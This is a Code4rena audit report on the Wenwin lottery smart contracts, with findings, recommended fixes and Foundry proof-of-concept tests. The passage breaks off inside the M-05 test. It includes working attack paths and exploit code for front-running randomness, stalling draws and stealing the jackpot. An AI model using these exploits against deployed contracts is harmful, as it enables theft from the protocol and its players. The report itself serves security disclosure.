Wenwin contest
Findings & Analysis Report
2023-04-12
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [M-01] Undermining the fairness of the protocol in
swapSource()
and possibilities for stealing a jackpot - [M-02] An attacker can leave the protocol in a “drawing” state for extended period of time
- [M-03] The buyer of the ticket could be front-runned by the ticket owner who claims the rewards before the ticket’s NFT is traded
- [M-04] Possibility to steal jackpot bypassing restrictions in the
executeDraw()
- [M-05] Unsafe casting from
uint256
touint16
could cause ticket prizes to become much smaller than intended - [M-06] Insolvency: The
Lottery
may incorrectly consider a year old jackpot ticket as unclaimed and increasecurrentNetProfit
by its prize while it was actually claimed - [M-07] Locking rewards tokens in Staking contract when there are no stakes
- [M-01] Undermining the fairness of the protocol in
-
Low Risk and Non-Critical Issues
- Low Risk Issues Summary
- L-01
claimable
function doesn’t validate ticket draw is finished - L-02
DRAWS_PER_YEAR
assumes one draw per week - L-03 Limits in
getMinimumEligibleReferralsFactorCalculation
should be inclusive - L-04 Missing event for important parameter change
- Non-Critical Risk Issues Summary
- N-01 Import declarations should import specific symbols
- N-02 Use named parameters for mapping type declarations
- N-03 Refactor common code across functions
- N-04 Unused local variables
- N-05 Use a modifier for access control
- N-06 Contract files should define a locked compiler version
- N-07 Simplify unpacking expression in
fixedReward
- N-08 First win tier is always empty in
packFixedRewards
- Formal Verification
-
- Gas Optimizations Summary
- G-01 Use calldata instead of memory for function parameters
- G-02 Setting the
constructor
topayable
- G-03 Do not calculate constants
- G-04 Using
delete
statement can save gas - G-05 Functions guaranteed to revert when called by normal users can be marked
payable
- G-06 Use hardcode address instead
address(this)
- G-07
internal
functions only called once can be inlined to save gas - G-08 Multiple Address Mappings Can Be Combined Into A Single Mapping Of An Address To A Struct, Where Appropriate
- G-09 Optimize names to save gas
- G-10
<x> += <y>
Costs More Gas Than<x> = <x> + <y>
For State Variables - G-11 Public Functions To External
- G-12
require()
Should Be Used Instead Ofassert()
- G-13 Shorten the array rather than copying to a new one
- G-14 Help The Optimizer By Saving A Storage Variable’s Reference Instead Of Repeatedly Fetching It
- G-15 Structs can be packed into fewer storage slots
- G-16 Usage of
uints
/ints
smaller than 32 bytes (256 bits) incurs overhead - G-17 Unnecessary look up in
if
condition - G-18 Use solidity version 0.8.19 to gain some gas boost
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit contest outlined in this document, C4 conducted an analysis of the Wenwin smart contract system written in Solidity. The audit contest took place between March 6—March 9 2023.
Wardens
98 Wardens contributed reports to the Wenwin contest:
- 0x1f8b
- 0x6980
- 0x73696d616f
- 0xAgro
- 0xSmartContract
- 0xbepresent
- 0xfuje
- 0xhacksmithh
- 0xkazim
- 0xnev
- Aymen0909
- Bason
- Blockian
- Cyfrin (PatrickAlphaC, giovannidisiena, and hansfriese)
- DadeKuma
- Dug
- Haipls
- Inspectah
- JCN
- LethL
- MadWookie
- Madalad
- MiloTruck
- MiniGlome
- MohammedRizwan
- NoamYakov
- Pheonix
- Rageur
- RaymondFam
- ReyAdmirado
- Rolezn
- SAAJ
- SaeedAlipoor01988
- Sathish9098
- SunSec
- Udsen
- UniversalCrypto (amaechieth and tettehnetworks)
- Yukti_Chinta (kenzo and ElKu)
- adriro
- air
- alexxander
- anodaram
- arialblack14
- ast3ros
- atharvasama
- auditor0517
- bin2chen
- brgltd
- bshramin
- btk
- bugradar
- c3phas
- catellatech
- ch0bu
- cryptostellar5
- d3e4
- ddimitrov22
- descharre
- dingo2077
- dontonka
- erictee
- fatherOfBlocks
- georgits
- glcanvas
- gogo
- hl_
- horsefacts
- hunter_w3b
- igingu
- imare
- juancito
- kaden
- lukris02
- martin
- matrix_0wl
- minhtrng
- nadin
- nomoi (vdrg and gnkz)
- peanuts
- pipoca
- rokso
- sakshamguruji
- saneryee
- sashik_eth
- savi0ur
- schrodinger
- seeu
- slvDev
- tnevler
- volodya
- whoismatthewmc1
- yongskiws
- zaskoh
This contest was judged by cccz.
Final report assembled by itsmetechjay.
Summary
The C4 analysis yielded an aggregated total of 8 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 7 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 54 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 35 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 Wenwin contest repository, and is composed of 6 smart contracts, 4 abstracts, 3 libraries, and 11 interfaces written in the Solidity programming language and includes 1,235 lines of Solidity code.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (1)
[H-01] LotteryMath.calculateNewProfit
returns wrong profit when there is no jackpot winner
Submitted by Cyfrin, also found by minhtrng, adriro, gogo, bin2chen, auditor0517, Yukti_Chinta, and anodaram
https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotteryMath.sol#L50-L53
https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L216-L223
https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L238-L247
Impact
LotteryMath.calculateNewProfit
returns the wrong profit when there is no jackpot winner, and the library function is used when we update currentNetProfit
of Lottery
contract.
currentNetProfit = LotteryMath.calculateNewProfit(
currentNetProfit,
ticketsSold[drawFinalized],
ticketPrice,
jackpotWinners > 0,
fixedReward(selectionSize),
expectedPayout
);
Lottery.currentNetProfit
is used during reward calculation, so it can ruin the main functionality of this protocol.
function drawRewardSize(uint128 drawId, uint8 winTier) private view returns (uint256 rewardSize) {
return LotteryMath.calculateReward(
currentNetProfit,
fixedReward(winTier),
fixedReward(selectionSize),
ticketsSold[drawId],
winTier == selectionSize,
expectedPayout
);
}
Proof of Concept
In LotteryMath.calculateNewProfit
, expectedRewardsOut
is calculated as follows:
uint256 expectedRewardsOut = jackpotWon
? calculateReward(oldProfit, fixedJackpotSize, fixedJackpotSize, ticketsSold, true, expectedPayout)
: calculateMultiplier(calculateExcessPot(oldProfit, fixedJackpotSize), ticketsSold, expectedPayout)
* ticketsSold * expectedPayout;
The calculation is not correct when there is no jackpot winner. When jackpotWon
is false, ticketsSold * expectedPayout
is the total payout in reward token, and then we need to apply a multiplier to the total payout, and the multiplier is calculateMultiplier(calculateExcessPot(oldProfit, fixedJackpotSize), ticketsSold, expectedPayout)
.
The calculation result is expectedRewardsOut
, and it is also in reward token, so we should use PercentageMath
instead of multiplying directly.
For coded PoC, I added this function in LotteryMath.sol
and imported forge-std/console.sol
for console log.
function testCalculateNewProfit() public {
int256 oldProfit = 0;
uint256 ticketsSold = 1;
uint256 ticketPrice = 5 ether;
uint256 fixedJackpotSize = 1_000_000e18; // don't affect the profit when oldProfit is 0, use arbitrary value
uint256 expectedPayout = 38e16;
int256 newProfit = LotteryMath.calculateNewProfit(oldProfit, ticketsSold, ticketPrice, false, fixedJackpotSize, expectedPayout );
uint256 TICKET_PRICE_TO_POT = 70_000;
uint256 ticketsSalesToPot = PercentageMath.getPercentage(ticketsSold * ticketPrice, TICKET_PRICE_TO_POT);
int256 expectedProfit = oldProfit + int256(ticketsSalesToPot);
uint256 expectedRewardsOut = ticketsSold * expectedPayout; // full percent because oldProfit is 0
expectedProfit -= int256(expectedRewardsOut);
console.log("Calculated value (Decimal 15):");
console.logInt(newProfit / 1e15); // use decimal 15 for output purpose
console.log("Expected value (Decimal 15):");
console.logInt(expectedProfit / 1e15);
}
The result is as follows:
Calculated value (Decimal 15):
-37996500
Expected value (Decimal 15):
3120
Tools Used
Foundry
Recommended Mitigation Steps
Use PercentageMath
instead of multiplying directly.
uint256 expectedRewardsOut = jackpotWon
? calculateReward(oldProfit, fixedJackpotSize, fixedJackpotSize, ticketsSold, true, expectedPayout)
: (ticketsSold * expectedPayout).getPercentage(
calculateMultiplier(calculateExcessPot(oldProfit, fixedJackpotSize), ticketsSold, expectedPayout)
)
Medium Risk Findings (7)
[M-01] Undermining the fairness of the protocol in swapSource()
and possibilities for stealing a jackpot
Submitted by alexxander
This issue will demonstrate how the current implementation of swapSource()
and retry()
goes directly against Chainlink’s Security Consideration of Not re-requesting randomness (https://docs.chain.link/vrf/v2/security#do-not-re-request-randomness).
Note
For clarity it is assumed that after swapSource()
the new source would be Chainlink Subscription Method implementation and I would refer to it again as Chainlink VRF
since this was the initial design decision, however it is of no consequence what the new VRF is.
The Exploit
The swapSource()
method can be successfully called if 2 important boolean checks are true
.
notEnoughRetryInvocations
- makes sure that there were maxFailedAttempts
failed requests for a RN.
notEnoughTimeReachingMaxFailedAttempts
- makes sure that maxRequestDelay
amount of time has passed since the timestamp for reaching maxFailedAttempts
was recorded in maxFailedAttemptsReachedAt
i.e sufficient time has passed since the last retry()
invocation. The most important detail to note here is that the swapSource()
function does not rely on lastRequestTimestamp
to check whether maxRequestDelay
has passed since the last RN request.
function swapSource(IRNSource newSource) external override onlyOwner {
if (address(newSource) == address(0)) {
revert RNSourceZeroAddress();
}
bool notEnoughRetryInvocations = failedSequentialAttempts < maxFailedAttempts;
bool notEnoughTimeReachingMaxFailedAttempts = block.timestamp < maxFailedAttemptsReachedAt + maxRequestDelay;
if (notEnoughRetryInvocations || notEnoughTimeReachingMaxFailedAttempts) {
revert NotEnoughFailedAttempts();
}
source = newSource;
failedSequentialAttempts = 0;
maxFailedAttemptsReachedAt = 0;
emit SourceSet(newSource);
requestRandomNumberFromSource();
}
The critical bug resides in the retry()
method. maxFailedAttemptsReachedAt
is ONLY updated when failedAttempts == maxFailedAttempts
- notice again the strict equality - meaning that maxFailedAttemptsReachedAt won’t be updated if there are more retry()
invocations after failedAttempts == maxFailedAttempts
. This means that after the point of time when the last failed retry()
sets maxFailedAttemptsReachedAt
and the maxRequestDelay
time passes - retry()
and swapSource()
(in that exact order) can be called simultaneously.
uint256 failedAttempts = ++failedSequentialAttempts;
if (failedAttempts == maxFailedAttempts) {
maxFailedAttemptsReachedAt = block.timestamp;
}
The attacker would monitor the transaction mempool for the swapSource()
invocation and front-run a retry()
invocation before the swapSource
transaction. Now we have two separate - seemingly at the same time - calls to requestRandomNumberFromSource()
and again to note that the retry()
call will update lastRequestTimestamp = block.timestamp
but it will not update maxFailedAttemptsReachedAt
since now failedAttempts > maxFailedAttempts
and as presented swapSource()
does not rely on lastRequestTimestamp
which makes all of this possible.
Now we have two requests at the same time to VRFv2RNSource.sol
and in turn Chainlink VRF. Chainlink VRF will in turn send 2 callback calls each containing a random number and the callbacks can be inspected by the attacker and in turn he will front-run the RN response that favours him greater thus undermining the fairness of the protocol.
Proof of Concept
retry()
is called enough times to reachmaxFailedAttempts
, attacker starts monitoring the mempool for theswapSource()
call.- Admin decides to swap Source. Admin waits for
maxRequestDelay
time to pass and callsswapSource()
. - Attacker notices the
swapSource()
call and front-runs aretry()
call before theswapSource()
invocation. - The introduced code bug displays that
swapSource()
is not invalidated by the front-ranretry()
and bothretry()
andswapSource()
request a random number from Chainlink VRF. - Attacker now scans the mempool for the callbacks from the requests to VRF, inspects the random numbers and front-runs the transaction with the random number that favors him.
Impact
Re-requesting randomness is achieved when swapping sources of randomness. Fairness of protocol is undermined.
Note
Recently published finding by warden Trust discusses a very similar attack path that has to do with more than 1 VRF callbacks residing in the mempool.
Edge Case - stealing a jackpot when swapping randomness Source
The Wenwin protocol smart contracts are built such that various configurations of the system can be deployed. The provided documentation gives example with a weekly draw, however drawPeriod
in LotterySetup.sol
could be any value. A lottery that is deployed with drawPeriod
of for example 1 hour rather than days can be much more susceptible to re-requesting randomness. Similarly to Issue #2 an attacker would anticipate a swapSource()
call to front-run it with retry()
call and generate 2 RN requests. Now the attacker would use another front-running technique - Supression, also called block-stuffing, an attack that delays a transaction from being executed (reference in link section).
The attacker would now let one of the generated RN callback requests return to the contract and reach the receiveRandomNumber()
in Lottery.sol
and let the protocol complete the current draw and return the system back in a state that can continue with the next draw - all of that while suppressing the second RN callback request. The attacker would register a ticket with the combination generated from the Random Number in the suppressed callback request and when executeDraw()
is triggered he would then front-run the “floating” callback request to be picked first by miners therefore calling ‘fulfillRandomWords()’ with the known RN and winning the jackpot.
Relevant links
Consensys front-running attacks - (https://consensys.github.io/smart-contract-best-practices/attacks/frontrunning/#suppression) Medium article on Block Stuffing and Fomo3D - (https://medium.com/hackernoon/the-anatomy-of-a-block-stuffing-attack-a488698732ae)
Proof of Concept
- Assume Lottery configuration with a short
drawPeriod
e.g 1 hour. retry()
is called enough times to reachmaxFailedAttempts
, attacker starts monitoring the mempool for theswapSource()
call.- Admin decides to swap Source. Admin waits for
maxRequestDelay
time to pass and callsswapSource()
. - Attacker notices the
swapSource()
call and front-runs aretry()
call before theswapSource()
invocation thus achieving 2 callback RN requests as in Issue #2 PoC. - Attacker uses front-running suppression after one of the callback requests is picked up by the protocol and therefore current draw is finalized.
- Attacker registers a ticket with the winning combination generated from the suppressed RN.
- After
drawPeriod
is past attacker or other user callsexecuteDraw()
. - Attacker front-runs the “suppressed RN” to be picked by miners first.
- ‘fulfillRandomWords()’ is called with the RN known by the attacker thus winning a jackpot.
Impact
Fairness of the protocol is undermined when swapping Sources in Lottery configurations with short drawPeriod
. Unfair win of a jackpot.
Tools Used
- Chainlink documentation VRF, VRF security practices, Direct funding
- OpenZeppelin try{} catch{} article
- Consenys front-running attacks link
- ImmuneBytes front-running attacks article
- Medium article on Suppression link
- Previous Code4rena finding by warden Trust link
Recommended Mitigation Steps
Refactor the try{} catch{}
in requestRandomNumberFromSource()
in RNSourceController.sol
. Replace failedAttempts == maxFailedAttempts
with failedAttempts >= maxFailedAttempts
in retry()
in RNSourceController.sol
. Evaluate centralization risks that spawn from the fact that only owners can decide on what a new source of randomness can be i.e swapSource()
.
Ensure that when swapping sources the new Source doesn’t introduce new potential attack vectors, I would suggest reading warden’s Trust report from Forgeries competition that displays potential attack vectors with retry
-like functionality when using Chainlink VRF Subscription Method. Ensure all Security Considerations in Chainlink VRF documentation are met.
rand0c0des (Wenwin) confirmed, but disagreed with severity
When block.timestamp >= maxFailedAttemptsReachedAt + maxRequestDelay, that is, when
swapSource()
can be called,retry()
can be called first and does not preventswapSource()
from being called.Summary:
retry()
can front-runswapSource()
to get two random numbers.
Returning two random numbers clearly breaks the intent of the protocol, and I would consider it to meet the Medium-risk criteria.
2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
For the severity criteria, see https://docs.code4rena.com/awarding/judging-criteria/severity-categorization
[M-02] An attacker can leave the protocol in a “drawing” state for extended period of time
Submitted by alexxander
The current implementation of Random Number Generation uses Chainlink’s V2 Direct Funding Method (https://docs.chain.link/vrf/v2/direct-funding).
VRFv2RNSource.sol
(inherits Chainlink’s VRFV2WrapperConsumerBase.sol
) is responsible for handling requests and responses for the Lottery system. The communicator between VRFv2RNSource.sol
contract and Lottery.sol
is RNSourceController.sol
. The ideal flow of control is the following:
- Any user can call
executeDraw()
inLottery.sol
assuming that the current draw is past the scheduled time for registering tickets. executeDraw()
puts the system in the state ofdrawExecutionInProgress = true
and callsrequestRandomNumber()
.- in
RNSourceController.sol
-requestRandomNumber()
checks if the previous draw was completed and callsrequestRandomNumberFromSource()
. requestRandomNumberFromSource()
records the timestamp of the request inlastRequestTimestamp = block.timestamp
and setslastRequestFulfilled = false
i.eexecuteDraw()
cannot be called until the draw is finished. Lastlysource.requestRandomNumber()
is invoked.- Now
source.requestRandomNumber()
callsrequestRandomnessFromUnderlyingSource()
and that subsequently callsrequestRandomness()
to generate a RN from Chainlink VRF. - Several blocks later Chainlink VRF has verified a RN and sends a callback call to
fulfillRandomWords()
that callsfulfill()
, which callsonRandomNumberFulfilled()
in theRNSourceController.sol
that setslastRequestFulfilled = true
and lastlyreceiveRandomNumber(randomNumber)
is invoked inLottery.sol
that setsdrawExecutionInProgress = false
and starts a new draw (incrementscurrentDraw
state variable).
The culprit for this issue is the implementation of requestRandomNumberFromSource()
in RNSourceController.sol
. After lastRequestFulfilled = false
the invocation to VRFv2RNSource.sol
is done in a try{} catch{}
block -
lastRequestTimestamp = block.timestamp;
lastRequestFulfilled = false;
try source.requestRandomNumber() {
emit SuccessfulRNRequest(source);
} catch Error(string memory reason) {
emit FailedRNRequest(source, bytes(reason));
} catch (bytes memory reason) {
emit FailedRNRequest(source, reason);
}
}
This is very problematic due to how try{} catch{}
works - OpenZeppelin article. If the request to Chainlink VRF fails at any point then execution of the above block will not revert but will continue in the catch{} statements only emitting an event and leaving RNSourceController in the state lastRequestFulfilled = false
and triggering the maxRequestDelay
(currently 5 hours) until retry()
becomes available to call to retry sending a RN request. This turns out to be dangerous since there is a trivial way of making Chainlink VRF revert - simply not supplying enough gas for the transaction either initially in calling executeDraw()
or subsequently in retry()
invocations with the attacker front-running the malicious transaction.
Proof of Concept
- Ticket registration closes, attacker calls
executeDraw()
with insufficient gas and Lottery is put in the Executing Draw State (drawExecutionInProgress = true). - Attacker front-runs the transaction if there are other
executeDraw()
transactions. RNSourceController.sol
callsVRFv2RNSource.so
in atry{} catch{}
block, VRF transaction reverts andlastRequestFulfilled
remains equal tofalse
.- After “maxRequestDelay” time has past retry() becomes available that relies on the same
try{} catch{}
block inrequestRandomNumberFromSource()
. - Attacker calls
retry()
with insufficient gas and front-runs the transaction if there are otherretry()
transactions. - Attacker repeats steps 4 and 5 leaving the system in a Drawing state for extended period of time (5 hours for every
retry()
in the example implementation).
Moreover, the attacker doesn’t have any incentive to deposit LINK himself since VRF will also revert on insufficient LINK tokens.
This Proof of Concept was also implemented and confirmed in a Remix environment, tested on the Ethereum Sepolia test network. A video walk-through can be provided on my behalf if requested by judge or sponsors.
Impact
System is left for extended period of time in “Drawing” state without the possibility to execute further draws, user experience is damaged significantly.
Comment
Building upon this issue, an obvious observation arises - there is the swapSource()
method that becomes available ( only to the owner ) after a predefined number of failed retry()
invocations - maxFailedAttempts
. Therefore, potentially, admins of the protocol could replace the VRF solution with a better one that is resistant to the try catch exploit? It turns out that the current implementation of swapSource()
introduces a new exploit that breaks the fairness of the protocol and an edge case could even be constructed that leads to an attacker stealing a jackpot.
rand0c0des (Wenwin) confirmed and commented:
I communicated with warden. This is confirmed as an issue.
From alexxander (warden):
Hello, I looked deeper into Chainlink VRF implementation and it turns my reasoning behind why the vulnerability happens in the poc video is not correct. Chainlink does custom gas checks (in the callback) but not in computing the requests so indeed it reverts with out-of-gas, however there is a small detail that the caller always retains 1/64th of the gas as per the solidity documentation note on
try{} catch{}
- https://docs.soliditylang.org/en/v0.8.19/control-structures.html#try-catch - quoting:“The reason behind a failed call can be manifold. Do not assume that the error message is coming directly from the called contract: The error might have happened deeper down in the call chain and the called contract just forwarded it. Also, it could be due to an out-of-gas situation and not a deliberate error condition: The caller always retains at least 1/64th of the gas in a call and thus even if the called contract goes out of gas, the caller still has some gas left.”
In short, depending on how much the gasLimit was set at, in some situations there will be enough gas left to finish the
catch{}
clause although the try{} threw a out-of-gas error.I also found a Consensys auditor that has documented in principle the exact same issue as in the contest implementation and confirms it happens due to 1/64 gas retention - https://twitter.com/cleanunicorn/status/1574808522130194432?lang=en
Finally, I notified Rando about what I further found and also sent him Foundry traces of a successful malicious tx that reverts with out-of-gas but finishes execution of the
catch{}
clause, emits an event and leaves the protocol with cooldown.
[M-03] The buyer of the ticket could be front-runned by the ticket owner who claims the rewards before the ticket’s NFT is traded
Submitted by sashik_eth, also found by adriro, horsefacts, MadWookie, hl_, 0xbepresent, peanuts, Dug, and Haipls
If the ticket owner lists the winning ticket on the secondary market and initiates their own claiming transaction before the trade transaction takes place, the NFT buyer could lose funds as a result.
Proof of Concept
Given that there are no restrictions on trading tickets on the secondary market, the following scenario could occur:
- Alice acquires the winning ticket with 75 DAI worth of claimable rewards, and lists the ticket on the secondary market for 70 DAI.
- Bob decides to purchase the ticket, recognizing that it is profitable to trade and claim the rewards associated with it.
- Alice monitors the mempool and submits a
claimWinningTickets()
transaction just before Bob’s purchase transaction. - Bob receives ticket NFT and calls to
claimWinningTickets()
but this transaction would revert as the rewards have already been claimed by Alice. Consequently, Alice receives a total of 75 + 70 DAI, while Bob is left with an empty ticket and no rewards.
The next test added to /2023-03-wenwin/test/Lottery.t.sol
could demonstrate such a scenario:
function testClaimBeforeTransfer() public {
uint128 drawId = lottery.currentDraw();
uint256 ticketId = initTickets(drawId, 0x8E);
// this will give winning ticket of 0x0F so 0x8E will have 3/4
finalizeDraw(0);
uint8 winTier = 3;
checkTicketWinTier(drawId, 0x8E, winTier);
address BUYER = address(456);
vm.prank(USER);
claimTicket(ticketId); // USER front-run trade transaction and claims rewards
vm.prank(USER);
lottery.transferFrom(USER, BUYER, ticketId);
vm.prank(BUYER);
vm.expectRevert(abi.encodeWithSelector(NothingToClaim.selector, 0));
claimTicket(ticketId); // BUYER tries to claim the ticket but it would revert since USER already claimed it
}
Recommended Mitigation Steps
Consider burning claimed ticket NFTs or remove the possibility to transfer NFTs that have already been claimed.
[M-04] Possibility to steal jackpot bypassing restrictions in the executeDraw()
Submitted by dingo2077, also found by 0x73696d616f, d3e4, savi0ur, and Blockian
Impact
Attacker can run executeDraw()
in Lottery.sol
, receive random numbers and then buy tickets with known numbers in one block.
Harm: Jackpot
Proof of Concept
This vulnerability is possible to use when contract has been deployed with COOLDOWNPERIOD = 0;
The executeDraw()
is allowed to be called at the last second of draw due to an incorrect comparison block.timestamp
with drawScheduledAt(currentDraw)
, which is start of draw.
function executeDraw() external override whenNotExecutingDraw {
// slither-disable-next-line timestamp
if (block.timestamp < drawScheduledAt(currentDraw)) { //@dingo should be <= here
revert ExecutingDrawTooEarly();
}
returnUnclaimedJackpotToThePot();
drawExecutionInProgress = true;
requestRandomNumber();
emit StartedExecutingDraw(currentDraw);
}
Also modifier in LotterySetup.sol allows same action:
modifier beforeTicketRegistrationDeadline(uint128 drawId) {
// slither-disable-next-line timestamp
if (block.timestamp > ticketRegistrationDeadline(drawId)) { //@dingo should be >= here
revert TicketRegistrationClosed(drawId);
}
_;
}
Exploit:
Attacker is waiting for last second of PERIOD
(between to draws).
Call executeDraw()
. It will affect a requestRandomNumber()
and chainlink will return random number to onRandomNumberFulfilled()
at RNSourceController.sol
.
Attacker now could read received RandomNumber:
uint256 winningTicketTemp = lot.winningTicket(0);
Attacker buys new ticket with randomNumber:
uint128[] memory drawId2 = new uint128[](1);
drawId2[0] = 0;
uint120[] memory winningArray = new uint120[](1);
winningArray[0] = uint120(winningTicketTemp);
lot.buyTickets(drawId2, winningArray, address(0), address(0));
Claim winnings:
uint256[] memory ticketID = new uint256[](1);
ticketID[0] = 1;
lot.claimWinningTickets(ticketID);
Exploit code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./LotteryTestBase.sol";
import "../src/Lottery.sol";
import "./TestToken.sol";
import "test/TestHelpers.sol";
contract LotteryTestCustom is LotteryTestBase {
address public eoa = address(1234);
address public attacker = address(1235);
function testExploit() public {
vm.warp(0);
Lottery lot = new Lottery(
LotterySetupParams(
rewardToken,
LotteryDrawSchedule(2 * PERIOD, PERIOD, COOL_DOWN_PERIOD),
TICKET_PRICE,
SELECTION_SIZE,
SELECTION_MAX,
EXPECTED_PAYOUT,
fixedRewards
),
playerRewardFirstDraw,
playerRewardDecrease,
rewardsToReferrersPerDraw,
MAX_RN_FAILED_ATTEMPTS,
MAX_RN_REQUEST_DELAY
);
lot.initSource(IRNSource(randomNumberSource));
vm.startPrank(eoa);
rewardToken.mint(1000 ether);
rewardToken.approve(address(lot), 100 ether);
rewardToken.transfer(address(lot), 100 ether);
vm.warp(60 * 60 * 24 + 1);
lot.finalizeInitialPotRaise();
uint128[] memory drawId = new uint128[](1);
drawId[0] = 0;
uint120[] memory ticketsDigits = new uint120[](1);
ticketsDigits[0] = uint120(0x0F); //1,2,3,4 numbers choosed;
///@dev Origin user buying ticket.
lot.buyTickets(drawId, ticketsDigits, address(0), address(0));
vm.stopPrank();
//====start of attack====
vm.startPrank(attacker);
rewardToken.mint(1000 ether);
rewardToken.approve(address(lot), 100 ether);
console.log("attacker balance before buying ticket: ", rewardToken.balanceOf(attacker));
vm.warp(172800); //Attacker is waiting for deadline of draw period, than he could call executeDraw();
lot.executeDraw(); //Due to the lack of condition check in executeDraw(`<` should be `<=`). Also call was sent to chainlink.
uint256 randomNumber = 0x00;
vm.stopPrank();
vm.prank(address(randomNumberSource));
lot.onRandomNumberFulfilled(randomNumber); //chainLink push here randomNumber;
uint256 winningTicketTemp = lot.winningTicket(0); //random number from chainlink stores here.
console.log("Winning ticket number is: ", winningTicketTemp);
vm.startPrank(attacker);
uint128[] memory drawId2 = new uint128[](1);
drawId2[0] = 0;
uint120[] memory winningArray = new uint120[](1);
winningArray[0] = uint120(winningTicketTemp); //@audit we will buy ticket with stealed random number below;
lot.buyTickets(drawId2, winningArray, address(0), address(0)); //attacker can buy ticket with stealed random number.
uint256[] memory ticketID = new uint256[](1);
ticketID[0] = 1;
lot.claimWinningTickets(ticketID); //attacker claims winninngs.
vm.stopPrank();
console.log("attacker balance after all: ", rewardToken.balanceOf(attacker));
}
function reconstructTicket(
uint256 randomNumber,
uint8 selectionSize,
uint8 selectionMax
) internal pure returns (uint120 ticket) {
/// Ticket must contain unique numbers, so we are using smaller selection count in each iteration
/// It basically means that, once `x` numbers are selected our choice is smaller for `x` numbers
uint8[] memory numbers = new uint8[](selectionSize);
uint256 currentSelectionCount = uint256(selectionMax);
for (uint256 i = 0; i < selectionSize; ++i) {
numbers[i] = uint8(randomNumber % currentSelectionCount);
randomNumber /= currentSelectionCount;
currentSelectionCount--;
}
bool[] memory selected = new bool[](selectionMax);
for (uint256 i = 0; i < selectionSize; ++i) {
uint8 currentNumber = numbers[i];
// check current selection for numbers smaller than current and increase if needed
for (uint256 j = 0; j <= currentNumber; ++j) {
if (selected[j]) {
currentNumber++;
}
}
selected[currentNumber] = true;
ticket |= ((uint120(1) << currentNumber));
}
}
}
Tools Used
VS Code
Recommended Mitigation Steps
- Change
<
by<=
:
function executeDraw() external override whenNotExecutingDraw {
// slither-disable-next-line timestamp
if (block.timestamp < drawScheduledAt(currentDraw)) { //@dingo should be <= here
revert ExecutingDrawTooEarly();
}
returnUnclaimedJackpotToThePot();
drawExecutionInProgress = true;
requestRandomNumber();
emit StartedExecutingDraw(currentDraw);
}
- Change
>
by>=
:
modifier beforeTicketRegistrationDeadline(uint128 drawId) {
// slither-disable-next-line timestamp
if (block.timestamp > ticketRegistrationDeadline(drawId)) { //@dingo should be >= here
revert TicketRegistrationClosed(drawId);
}
_;
}
cccz (judge) decreased severity to Medium
[M-05] Unsafe casting from uint256
to uint16
could cause ticket prizes to become much smaller than intended
Submitted by MiloTruck, also found by anodaram, d3e4, adriro, kaden, and nomoi
In LotterySetup.sol
, the packFixedRewards()
function packs a uint256
array into a uint256
through bitwise arithmetic:
function packFixedRewards(uint256[] memory rewards) private view returns (uint256 packed) {
if (rewards.length != (selectionSize) || rewards[0] != 0) {
revert InvalidFixedRewardSetup();
}
uint256 divisor = 10 ** (IERC20Metadata(address(rewardToken)).decimals() - 1);
for (uint8 winTier = 1; winTier < selectionSize; ++winTier) {
uint16 reward = uint16(rewards[winTier] / divisor);
if ((rewards[winTier] % divisor) != 0) {
revert InvalidFixedRewardSetup();
}
packed |= uint256(reward) << (winTier * 16);
}
}
The rewards[]
parameter stores the prize amount per each winTier
, where winTier
is the number of matching numbers a ticket has. packFixedRewards()
is used when the lottery is first initialized to store the prize for each non-jackpot winTier
.
The vulnerability lies in the following line:
uint16 reward = uint16(rewards[winTier] / divisor);
It casts rewards[winTier] / divisor
, which is a uint256
, to a uint16
. If rewards[winTier] / divisor
is larger than 2 ** 16 - 1
, the unsafe cast will only keep its rightmost bits, causing the result to be much smaller than defined in rewards[]
.
As divisor
is defined as 10 ** (tokenDecimals - 1)
, the upperbound of rewards[winTier]
evaluates to 6553.5 * 10 ** tokenDecimals
. This means that the prize of any winTier
must not be larger than 6553.5 tokens, otherwise the unsafe cast causes it to become smaller than expected.
Impact
If a deployer is unaware of this upper limit, he could deploy the lottery with ticket prizes larger than 6553.5 tokens, causing non-jackpot ticket prizes to become significantly smaller. The likelihood of this occuring is increased as:
- The upper limit is not mentioned anywhere in the documentation.
- The upper limit is not immediately obvious when looking at the code.
This upper limit also restricts the protocol from using low price tokens. For example, if the protocol uses SHIB ($0.00001087
per token), the highest possible prize with 6553.5 tokens is worth only $0.071236545
.
Proof of Concept
If the lottery is initialized with rewards = [0, 6500, 7000]
, the prize for each winTier
would become the following:
winTier |
Token Amount (in tokenDecimals) |
---|---|
0 | 0 |
1 | 6500 |
2 | 446 |
The prize for winTier = 2
can be derived as such:
(tokenAmount * 10) & type(uint16).max = (7000 * 10) & (2 ** 16 - 1) = 4464
4464 / 10 = 446
The following test demonstrates the above:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/LotterySetup.sol";
import "./TestToken.sol";
contract RewardUnsafeCastTest is Test {
ERC20 public rewardToken;
uint8 public constant SELECTION_SIZE = 3;
uint8 public constant SELECTION_MAX = 10;
function setUp() public {
rewardToken = new TestToken();
}
function testRewardIsSmallerThanExpected() public {
// Get 1 token unit
uint256 tokenUnit = 10 ** rewardToken.decimals();
// Define fixedRewards as [0, 6500, 7000]
uint256[] memory fixedRewards = new uint256[](SELECTION_SIZE);
